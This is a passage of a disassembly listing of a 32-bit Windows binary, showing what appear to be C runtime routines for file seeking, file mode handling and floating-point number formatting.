sub_419FEC+C0j mov ax, [ebp+arg_0] loc_41A095: ; CODE XREF: sub_419FEC+37j mov ecx, [ebp+var_4] xor ecx, ebp pop esi call sub_40AB4A leave retn ; --------------------------------------------------------------------------- loc_41A0A2: ; CODE XREF: sub_419FEC+4Dj mov dword_4241F8, 1 jmp short loc_41A091 sub_419FEC endp ; --------------------------------------------------------------------------- push 2 call sub_41195D pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0B7 proc near ; CODE XREF: sub_417C3F+36Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi xor ebx, ebx push 1 push ebx push ebx push [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_416A1E mov [ebp+var_18], eax and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh mov [ebp+var_14], edx jz short loc_41A13D push 2 push ebx push ebx push [ebp+arg_0] call sub_416A1E mov ecx, eax and ecx, edx add esp, 10h cmp ecx, 0FFFFFFFFh jz short loc_41A13D mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] sub esi, eax sbb edi, edx js loc_41A1D2 jg short loc_41A116 cmp esi, ebx jbe loc_41A1D2 loc_41A116: ; CODE XREF: sub_41A0B7+55j mov ebx, 1000h push ebx push 8 call ds:dword_41E0E4 ; GetProcessHeap push eax call ds:dword_41E0F8 ; RtlAllocateHeap test eax, eax mov [ebp+var_4], eax jnz short loc_41A149 call sub_40F7D4 mov dword ptr [eax], 0Ch loc_41A13D: ; CODE XREF: sub_41A0B7+2Bj ; sub_41A0B7+43j ... call sub_40F7D4 mov eax, [eax] loc_41A144: ; CODE XREF: sub_41A0B7+1AFj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A149: ; CODE XREF: sub_41A0B7+79j push 8000h push [ebp+arg_0] call sub_41A2DD pop ecx pop ecx mov [ebp+var_8], eax loc_41A15B: ; CODE XREF: sub_41A0B7+CFj ; sub_41A0B7+D3j test edi, edi jl short loc_41A169 jg short loc_41A165 cmp esi, ebx jb short loc_41A169 loc_41A165: ; CODE XREF: sub_41A0B7+A8j mov eax, ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A169: ; CODE XREF: sub_41A0B7+A6j ; sub_41A0B7+ACj mov eax, esi loc_41A16B: ; CODE XREF: sub_41A0B7+B0j push eax push [ebp+var_4] push [ebp+arg_0] call sub_416BBA add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41A1B5 cdq sub esi, eax sbb edi, edx js short loc_41A18C jg short loc_41A15B test esi, esi ja short loc_41A15B loc_41A18C: ; CODE XREF: sub_41A0B7+CDj mov esi, [ebp+var_10] loc_41A18F: ; CODE XREF: sub_41A0B7+119j push [ebp+var_8] push [ebp+arg_0] call sub_41A2DD pop ecx pop ecx push [ebp+var_4] push 0 call ds:dword_41E0E4 ; GetProcessHeap push eax call ds:dword_41E0F0 ; RtlFreeHeap xor ebx, ebx jmp loc_41A23B ; --------------------------------------------------------------------------- loc_41A1B5: ; CODE XREF: sub_41A0B7+C6j call sub_40F7E7 cmp dword ptr [eax], 5 jnz short loc_41A1CA call sub_40F7D4 mov dword ptr [eax], 0Dh loc_41A1CA: ; CODE XREF: sub_41A0B7+106j or esi, 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41A18F ; --------------------------------------------------------------------------- loc_41A1D2: ; CODE XREF: sub_41A0B7+4Fj ; sub_41A0B7+59j cmp edi, ebx jg short loc_41A247 jl short loc_41A1DC cmp esi, ebx jnb short loc_41A247 loc_41A1DC: ; CODE XREF: sub_41A0B7+11Fj push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416A1E and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_41A13D push [ebp+arg_0] call sub_418949 pop ecx push eax call ds:off_41E094 neg eax sbb eax, eax neg eax dec eax cdq mov [ebp+var_10], eax and eax, edx cmp eax, 0FFFFFFFFh mov [ebp+var_C], edx jnz short loc_41A247 call sub_40F7D4 mov dword ptr [eax], 0Dh call sub_40F7E7 mov esi, eax call ds:dword_41E0D8 ; RtlGetLastWin32Error mov [esi], eax mov esi, [ebp+var_10] loc_41A23B: ; CODE XREF: sub_41A0B7+F9j and esi, [ebp+var_C] cmp esi, 0FFFFFFFFh jz loc_41A13D loc_41A247: ; CODE XREF: sub_41A0B7+11Dj ; sub_41A0B7+123j ... push ebx push [ebp+var_14] push [ebp+var_18] push [ebp+arg_0] call sub_416A1E and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_41A13D xor eax, eax jmp loc_41A144 sub_41A0B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A26B proc near ; CODE XREF: sub_417C3F+322p ; sub_417C3F+37Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_418949 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A28C call sub_40F7D4 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A28C: ; CODE XREF: sub_41A26B+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call ds:off_41E064 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41A2AD call ds:dword_41E0D8 ; RtlGetLastWin32Error jmp short loc_41A2AF ; --------------------------------------------------------------------------- loc_41A2AD: ; CODE XREF: sub_41A26B+38j xor eax, eax loc_41A2AF: ; CODE XREF: sub_41A26B+40j test eax, eax jz short loc_41A2BF push eax call sub_40F7FA pop ecx or eax, 0FFFFFFFFh jmp short loc_41A2DA ; --------------------------------------------------------------------------- loc_41A2BF: ; CODE XREF: sub_41A26B+46j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_433C00[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, edi loc_41A2DA: ; CODE XREF: sub_41A26B+52j pop edi pop esi retn sub_41A26B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2DD proc near ; CODE XREF: sub_41A0B7+9Ap ; sub_41A0B7+DEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, edx sar eax, 5 and edx, 1Fh imul edx, 28h push ebx mov ebx, [ebp+arg_4] push esi lea esi, ds:433C00h[eax*4] mov eax, [esi] lea ecx, [eax+edx] movzx eax, byte ptr [ecx+4] and eax, 80h mov [ebp+arg_0], eax mov al, [ecx+24h] add al, al movsx eax, al push edi mov edi, 4000h sar eax, 1 cmp ebx, edi jz short loc_41A36F cmp ebx, 8000h jz short loc_41A369 cmp ebx, 10000h jz short loc_41A355 cmp ebx, 20000h jz short loc_41A355 cmp ebx, 40000h jnz short loc_41A37C or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] mov dl, [ecx] and dl, 81h or dl, 1 loc_41A351: ; CODE XREF: sub_41A2DD+8Aj mov [ecx], dl jmp short loc_41A37C ; --------------------------------------------------------------------------- loc_41A355: ; CODE XREF: sub_41A2DD+50j ; sub_41A2DD+58j or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] mov dl, [ecx] and dl, 82h or dl, 2 jmp short loc_41A351 ; --------------------------------------------------------------------------- loc_41A369: ; CODE XREF: sub_41A2DD+48j and byte ptr [ecx+4], 7Fh jmp short loc_41A37C ; --------------------------------------------------------------------------- loc_41A36F: ; CODE XREF: sub_41A2DD+40j or byte ptr [ecx+4], 80h mov ecx, [esi] lea ecx, [ecx+edx+24h] and byte ptr [ecx], 80h loc_41A37C: ; CODE XREF: sub_41A2DD+60j ; sub_41A2DD+76j ... cmp [ebp+arg_0], 0 jnz short loc_41A389 mov eax, 8000h jmp short loc_41A394 ; --------------------------------------------------------------------------- loc_41A389: ; CODE XREF: sub_41A2DD+A3j neg eax sbb eax, eax and eax, 0C000h add eax, edi loc_41A394: ; CODE XREF: sub_41A2DD+AAj pop edi pop esi pop ebx pop ebp retn sub_41A2DD endp ; =============== S U B R O U T I N E ======================================= sub_41A399 proc near ; CODE XREF: sub_417C3F+40p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_41A3C1 call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41A3C1: ; CODE XREF: sub_41A399+9j mov ecx, dword_4265E0 mov [eax], ecx xor eax, eax pop esi retn sub_41A399 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3CD proc near ; CODE XREF: sub_41A548+6p ; DATA XREF: sub_4192DC+55o ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 mov esi, [ebp+arg_0] movsx eax, byte ptr [esi] push eax call sub_40F772 cmp eax, 65h jmp short loc_41A3FC ; --------------------------------------------------------------------------- loc_41A3F0: ; CODE XREF: sub_41A3CD+30j inc esi movzx eax, byte ptr [esi] push eax call sub_418D4B test eax, eax loc_41A3FC: ; CODE XREF: sub_41A3CD+21j pop ecx jnz short loc_41A3F0 movsx eax, byte ptr [esi] push eax call sub_40F772 cmp eax, 78h pop ecx jnz short loc_41A410 inc esi inc esi loc_41A410: ; CODE XREF: sub_41A3CD+3Fj mov ecx, [ebp+var_10] mov ecx, [ecx+0BCh] mov ecx, [ecx] mov al, [esi] mov cl, [ecx] mov [esi], cl inc esi loc_41A422: ; CODE XREF: sub_41A3CD+60j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41A422 cmp [ebp+var_4], cl pop esi jz short locret_41A43C mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh locret_41A43C: ; CODE XREF: sub_41A3CD+66j leave retn sub_41A3CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A43E proc near ; CODE XREF: sub_41A556+6p ; DATA XREF: sub_4192DC+4Bo ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+arg_0] mov cl, [eax] test cl, cl mov esi, [ebp+var_10] jz short loc_41A471 mov edx, [esi+0BCh] mov edx, [edx] mov dl, [edx] loc_41A466: ; CODE XREF: sub_41A43E+31j cmp cl, dl jz short loc_41A471 inc eax mov cl, [eax] test cl, cl jnz short loc_41A466 loc_41A471: ; CODE XREF: sub_41A43E+1Cj ; sub_41A43E+2Aj mov cl, [eax] inc eax test cl, cl jz short loc_41A4AE jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A47A: ; CODE XREF: sub_41A43E+4Bj cmp cl, 65h jz short loc_41A48B cmp cl, 45h jz short loc_41A48B inc eax loc_41A485: ; CODE XREF: sub_41A43E+3Aj mov cl, [eax] test cl, cl jnz short loc_41A47A loc_41A48B: ; CODE XREF: sub_41A43E+3Fj ; sub_41A43E+44j mov edx, eax loc_41A48D: ; CODE XREF: sub_41A43E+53j dec eax cmp byte ptr [eax], 30h jz short loc_41A48D mov ecx, [esi+0BCh] mov ecx, [ecx] push ebx mov bl, [eax] cmp bl, [ecx] pop ebx jnz short loc_41A4A4 dec eax loc_41A4A4: ; CODE XREF: sub_41A43E+63j ; sub_41A43E+6Ej mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_41A4A4 loc_41A4AE: ; CODE XREF: sub_41A43E+38j cmp [ebp+var_4], 0 pop esi jz short locret_41A4BC mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh locret_41A4BC: ; CODE XREF: sub_41A43E+75j leave retn sub_41A43E endp ; --------------------------------------------------------------------------- word_41A4BE dw 0EED9h ; DATA XREF: sub_4192DC+28o ; .data:off_423F70o dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D4 proc near ; CODE XREF: sub_41A514+Ep ; DATA XREF: sub_4192DC+41o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_C] push [ebp+arg_8] jz short loc_41A4FE lea eax, [ebp+var_8] push eax call sub_41AFBD mov ecx, [ebp+var_8] mov eax, [ebp+arg_4] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_41A50F ; --------------------------------------------------------------------------- loc_41A4FE: ; CODE XREF: sub_41A4D4+Fj lea eax, [ebp+arg_0] push eax call sub_41B063 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov [eax], ecx loc_41A50F: ; CODE XREF: sub_41A4D4+28j add esp, 0Ch leave retn sub_41A4D4 endp ; =============== S U B R O U T I N E ======================================= sub_41A514 proc near ; DATA XREF: sub_4192DC+14o ; .data:off_423F68o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A4D4 add esp, 10h retn sub_41A514 endp ; =============== S U B R O U T I N E ======================================= sub_41A52B proc near ; CODE XREF: sub_41A564+88p ; sub_41AB2E+8Ap ... test edi, edi push esi mov esi, eax jz short loc_41A546 push esi call sub_40C500 inc eax push eax push esi add esi, edi push esi call sub_411470 add esp, 10h loc_41A546: ; CODE XREF: sub_41A52B+5j pop esi retn sub_41A52B endp ; =============== S U B R O U T I N E ======================================= sub_41A548 proc near ; DATA XREF: sub_4192DC+1Eo ; .data:off_423F6Co arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_41A3CD pop ecx pop ecx retn sub_41A548 endp ; =============== S U B R O U T I N E ======================================= sub_41A556 proc near ; DATA XREF: sub_4192DC+Ao ; .data:off_423F64o arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_41A43E pop ecx pop ecx retn sub_41A556 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A564 proc near ; CODE XREF: sub_41A6D1+B7p ; sub_41ACDC+E1p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push [ebp+arg_14] lea ecx, [ebp+var_10] mov ebx, eax call sub_40AB59 xor esi, esi cmp ebx, esi jnz short loc_41A5AB loc_41A580: ; CODE XREF: sub_41A564+4Aj call sub_40F7D4 push 16h loc_41A587: ; CODE XREF: sub_41A564+67j pop edi push esi push esi push esi push esi push esi mov [eax], edi call sub_40CB08 add esp, 14h cmp [ebp+var_4], 0 jz short loc_41A5A4 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41A5A4: ; CODE XREF: sub_41A564+37j mov eax, edi jmp loc_41A6CC ; --------------------------------------------------------------------------- loc_41A5AB: ; CODE XREF: sub_41A564+1Aj cmp [ebp+arg_0], esi jbe short loc_41A580 cmp [ebp+arg_4], esi jle short loc_41A5BA mov eax, [ebp+arg_4] jmp short loc_41A5BC ; --------------------------------------------------------------------------- loc_41A5BA: ; CODE XREF: sub_41A564+4Fj xor eax, eax loc_41A5BC: ; CODE XREF: sub_41A564+54j add eax, 9 cmp [ebp+arg_0], eax ja short loc_41A5CD call sub_40F7D4 push 22h jmp short loc_41A587 ; --------------------------------------------------------------------------- loc_41A5CD: ; CODE XREF: sub_41A564+5Ej cmp [ebp+arg_10], 0 jz short loc_41A5F1 mov edx, [ebp+arg_C] xor eax, eax cmp [ebp+arg_4], esi setnle al xor ecx, ecx cmp dword ptr [edx], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_41A52B loc_41A5F1: ; CODE XREF: sub_41A564+6Dj mov edi, [ebp+arg_C] cmp dword ptr [edi], 2Dh mov esi, ebx jnz short loc_41A601 mov byte ptr [ebx], 2Dh lea esi, [ebx+1] loc_41A601: ; CODE XREF: sub_41A564+95j cmp [ebp+arg_4], 0 jle short loc_41A61F lea eax, [esi+1] mov cl, [eax] mov [esi], cl mov esi, eax mov eax, [ebp+var_10] mov eax, [eax+0BCh] mov eax, [eax] mov al, [eax] mov [esi], al loc_41A61F: ; CODE XREF: sub_41A564+A1j xor eax, eax cmp [ebp+arg_10], al setz al add eax, [ebp+arg_4] add esi, eax cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_41A637 or ebx, 0FFFFFFFFh jmp short loc_41A63C ; --------------------------------------------------------------------------- loc_41A637: ; CODE XREF: sub_41A564+CCj sub ebx, esi add ebx, [ebp+arg_0] loc_41A63C: ; CODE XREF: sub_41A564+D1j push offset aE000 ; "e+000" push ebx push esi call sub_4117D5 add esp, 0Ch xor ebx, ebx test eax, eax jz short loc_41A65E push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_41A65E: ; CODE XREF: sub_41A564+EBj cmp [ebp+arg_8], ebx lea ecx, [esi+2] jz short loc_41A669 mov byte ptr [esi], 45h loc_41A669: ; CODE XREF: sub_41A564+100j mov eax, [edi+0Ch] inc esi cmp byte ptr [eax], 30h jz short loc_41A6A0 mov eax, [edi+4] dec eax jns short loc_41A67D neg eax mov byte ptr [esi], 2Dh loc_41A67D: ; CODE XREF: sub_41A564+112j inc esi cmp eax, 64h jl short loc_41A68D cdq push 64h pop edi idiv edi add [esi], al mov eax, edx loc_41A68D: ; CODE XREF: sub_41A564+11Dj inc esi cmp eax, 0Ah jl short loc_41A69D cdq push 0Ah pop edi idiv edi add [esi], al mov eax, edx loc_41A69D: ; CODE XREF: sub_41A564+12Dj add [esi+1], al loc_41A6A0: ; CODE XREF: sub_41A564+10Cj test byte_4265E4, 1 jz short loc_41A6BD cmp byte ptr [ecx], 30h jnz short loc_41A6BD push 3 lea eax, [ecx+1] push eax push ecx call sub_411470 add esp, 0Ch loc_41A6BD: ; CODE XREF: sub_41A564+143j ; sub_41A564+148j cmp [ebp+var_4], 0 jz short loc_41A6CA mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41A6CA: ; CODE XREF: sub_41A564+15Dj xor eax, eax loc_41A6CC: ; CODE XREF: sub_41A564+42j pop edi pop esi pop ebx leave retn sub_41A564 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6D1 proc near ; CODE XREF: sub_41A79F+14p ; sub_41ADD4+7Cp var_2C = dword ptr -2Ch var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ebp+arg_4] push 16h pop esi push esi lea ecx, [ebp+var_1C] push ecx lea ecx, [ebp+var_2C] push ecx push dword ptr [eax+4] push dword ptr [eax] call sub_41B281 xor ebx, ebx add esp, 14h cmp edi, ebx jnz short loc_41A721 loc_41A709: ; CODE XREF: sub_41A6D1+55j call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_41A790 ; --------------------------------------------------------------------------- loc_41A721: ; CODE XREF: sub_41A6D1+36j mov eax, [ebp+arg_8] cmp eax, ebx jbe short loc_41A709 cmp eax, 0FFFFFFFFh mov esi, [ebp+arg_C] jnz short loc_41A735 or eax, 0FFFFFFFFh jmp short loc_41A749 ; --------------------------------------------------------------------------- loc_41A735: ; CODE XREF: sub_41A6D1+5Dj xor ecx, ecx cmp [ebp+var_2C], 2Dh setz cl sub eax, ecx xor ecx, ecx cmp esi, ebx setnle cl sub eax, ecx loc_41A749: ; CODE XREF: sub_41A6D1+62j lea ecx, [ebp+var_2C] push ecx lea ecx, [esi+1] push ecx push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al xor ecx, ecx cmp esi, ebx setnle cl add eax, edi add ecx, eax push ecx call sub_41B109 add esp, 10h cmp eax, ebx jz short loc_41A777 mov [edi], bl jmp short loc_41A790 ; --------------------------------------------------------------------------- loc_41A777: ; CODE XREF: sub_41A6D1+A0j push [ebp+arg_14] lea eax, [ebp+var_2C] push ebx push eax push [ebp+arg_10] mov eax, edi push esi push [ebp+arg_8] call sub_41A564 add esp, 18h loc_41A790: ; CODE XREF: sub_41A6D1+4Ej ; sub_41A6D1+A4j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_41A6D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A79F proc near ; CODE XREF: sub_41A7BD+BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41A6D1 add esp, 18h pop ebp retn sub_41A79F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7BD proc near ; CODE XREF: sub_41ADD4+63p var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 24h push esi push edi push [ebp+arg_14] lea ecx, [ebp+var_24] mov [ebp+var_14], 3FFh xor edi, edi mov [ebp+var_4], 30h call sub_40AB59 cmp [ebp+arg_C], edi jge short loc_41A7E8 mov [ebp+arg_C], edi loc_41A7E8: ; CODE XREF: sub_41A7BD+26j mov esi, [ebp+arg_4] cmp esi, edi jnz short loc_41A81A loc_41A7EF: ; CODE XREF: sub_41A7BD+60j call sub_40F7D4 push 16h loc_41A7F6: ; CODE XREF: sub_41A7BD+77j pop esi push edi push edi push edi push edi push edi mov [eax], esi call sub_40CB08 add esp, 14h cmp [ebp+var_18], 0 jz short loc_41A813 mov eax, [ebp+var_1C] and dword ptr [eax+70h], 0FFFFFFFDh loc_41A813: ; CODE XREF: sub_41A7BD+4Dj mov eax, esi jmp loc_41AB2A ; --------------------------------------------------------------------------- loc_41A81A: ; CODE XREF: sub_41A7BD+30j cmp [ebp+arg_8], edi jbe short loc_41A7EF mov eax, [ebp+arg_C] add eax, 0Bh cmp [ebp+arg_8], eax mov byte ptr [esi], 0 ja short loc_41A836 call sub_40F7D4 push 22h jmp short loc_41A7F6 ; --------------------------------------------------------------------------- loc_41A836: ; CODE XREF: sub_41A7BD+6Ej mov edi, [ebp+arg_0] mov eax, [edi] mov [ebp+var_C], eax mov eax, [edi+4] mov ecx, eax shr ecx, 14h mov edx, 7FFh push ebx and ecx, edx xor ebx, ebx cmp ecx, edx jnz loc_41A8E8 test ebx, ebx jnz loc_41A8E8 mov eax, [ebp+arg_8] cmp eax, 0FFFFFFFFh jnz short loc_41A86C or eax, eax jmp short loc_41A86F ; --------------------------------------------------------------------------- loc_41A86C: ; CODE XREF: sub_41A7BD+A9j add eax, 0FFFFFFFEh loc_41A86F: ; CODE XREF: sub_41A7BD+ADj push 0 push [ebp+arg_C] lea ebx, [esi+2] push eax push ebx push edi call sub_41A79F add esp, 14h test eax, eax jz short loc_41A89F cmp [ebp+var_18], 0 mov byte ptr [esi], 0 jz loc_41AB29 mov ecx, [ebp+var_1C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_41AB29 ; --------------------------------------------------------------------------- loc_41A89F: ; CODE XREF: sub_41A7BD+C7j cmp byte ptr [ebx], 2Dh jnz short loc_41A8A8 mov byte ptr [esi], 2Dh inc esi loc_41A8A8: ; CODE XREF: sub_41A7BD+E5j mov byte ptr [esi], 30h inc esi cmp [ebp+arg_10], 0 push 65h setz al dec al and al, 0E0h add al, 78h mov [esi], al inc esi push esi call sub_41AF90 test eax, eax pop ecx pop ecx jz loc_41AB1A cmp [ebp+arg_10], 0 setz cl dec cl and cl, 0E0h add cl, 70h mov [eax], cl mov byte ptr [eax+3], 0 jmp loc_41AB1A ; --------------------------------------------------------------------------- loc_41A8E8: ; CODE XREF: sub_41A7BD+95j ; sub_41A7BD+9Dj and eax, 80000000h xor ecx, ecx or ecx, eax jz short loc_41A8F7 mov byte ptr [esi], 2Dh inc esi loc_41A8F7: ; CODE XREF: sub_41A7BD+134j mov ebx, [ebp+arg_10] mov byte ptr [esi], 30h inc esi test ebx, ebx setz al dec al and al, 0E0h add al, 78h mov [esi], al mov ecx, [edi+4] inc esi neg ebx sbb ebx, ebx and ebx, 0FFFFFFE0h and ecx, 7FF00000h xor eax, eax add ebx, 27h xor edx, edx or eax, ecx jnz short loc_41A948 mov byte ptr [esi], 30h mov ecx, [edi+4] mov eax, [edi] and ecx, 0FFFFFh inc esi or eax, ecx jnz short loc_41A93F mov [ebp+var_14], edx jmp short loc_41A94C ; --------------------------------------------------------------------------- loc_41A93F: ; CODE XREF: sub_41A7BD+17Bj mov [ebp+var_14], 3FEh jmp short loc_41A94C ; --------------------------------------------------------------------------- loc_41A948: ; CODE XREF: sub_41A7BD+168j mov byte ptr [esi], 31h inc esi loc_41A94C: ; CODE XREF: sub_41A7BD+180j ; sub_41A7BD+189j mov eax, esi inc esi cmp [ebp+arg_C], edx mov [ebp+arg_4], eax jnz short loc_41A95B mov [eax], dl jmp short loc_41A96A ; --------------------------------------------------------------------------- loc_41A95B: ; CODE XREF: sub_41A7BD+198j mov ecx, [ebp+var_24] mov ecx, [ecx+0BCh] mov ecx, [ecx] mov cl, [ecx] mov [eax], cl loc_41A96A: ; CODE XREF: sub_41A7BD+19Cj mov ecx, [edi+4] mov eax, [edi] and ecx, 0FFFFFh mov [ebp+var_8], ecx ja short loc_41A982 cmp eax, edx jbe loc_41AA37 loc_41A982: ; CODE XREF: sub_41A7BD+1BBj mov [ebp+var_C], edx mov [ebp+var_8], 0F0000h loc_41A98C: ; CODE XREF: sub_41A7BD+220j cmp [ebp+arg_C], 0 jle short loc_41A9DF mov edx, [edi+4] and edx, [ebp+var_8] mov eax, [edi] movsx ecx, word ptr [ebp+var_4] and eax, [ebp+var_C] and edx, 0FFFFFh call sub_41B3F0 add ax, 30h movzx eax, ax cmp ax, 39h jbe short loc_41A9BB add eax, ebx loc_41A9BB: ; CODE XREF: sub_41A7BD+1FAj mov ecx, [ebp+var_8] sub [ebp+var_4], 4 mov [esi], al mov eax, [ebp+var_C] shrd eax, ecx, 4 shr ecx, 4 inc esi dec [ebp+arg_C] cmp word ptr [ebp+var_4], 0 mov [ebp+var_C], eax mov [ebp+var_8], ecx jge short loc_41A98C loc_41A9DF: ; CODE XREF: sub_41A7BD+1D3j cmp word ptr [ebp+var_4], 0 jl short loc_41AA37 mov edx, [edi+4] and edx, [ebp+var_8] mov eax, [edi] movsx ecx, word ptr [ebp+var_4] and eax, [ebp+var_C] and edx, 0FFFFFh call sub_41B3F0 cmp ax, 8 jbe short loc_41AA37 lea eax, [esi-1] loc_41AA09: ; CODE XREF: sub_41A7BD+25Cj mov cl, [eax] cmp cl, 66h jz short loc_41AA15 cmp cl, 46h jnz short loc_41AA1B loc_41AA15: ; CODE XREF: sub_41A7BD+251j mov byte ptr [eax], 30h dec eax jmp short loc_41AA09 ; --------------------------------------------------------------------------- loc_41AA1B: ; CODE XREF: sub_41A7BD+256j cmp eax, [ebp+arg_4] jz short loc_41AA34 mov cl, [eax] cmp cl, 39h jnz short loc_41AA2E add bl, 3Ah mov [eax], bl jmp short loc_41AA37 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A7BD+268j inc cl mov [eax], cl jmp short loc_41AA37 ; --------------------------------------------------------------------------- loc_41AA34: ; CODE XREF: sub_41A7BD+261j inc byte ptr [eax-1] loc_41AA37: ; CODE XREF: sub_41A7BD+1BFj ; sub_41A7BD+227j ... cmp [ebp+arg_C], 0 jle short loc_41AA4E push [ebp+arg_C] push 30h push esi call sub_40C6F0 add esp, 0Ch add esi, [ebp+arg_C] loc_41AA4E: ; CODE XREF: sub_41A7BD+27Ej mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_41AA58 mov esi, eax loc_41AA58: ; CODE XREF: sub_41A7BD+297j cmp [ebp+arg_10], 0 mov cl, 34h setz al dec al and al, 0E0h add al, 70h mov [esi], al mov eax, [edi] mov edx, [edi+4] inc esi call sub_41B3F0 xor ebx, ebx and eax, 7FFh and edx, ebx sub eax, [ebp+var_14] push ebx pop ecx sbb edx, ecx js short loc_41AA92 jg short loc_41AA8C cmp eax, 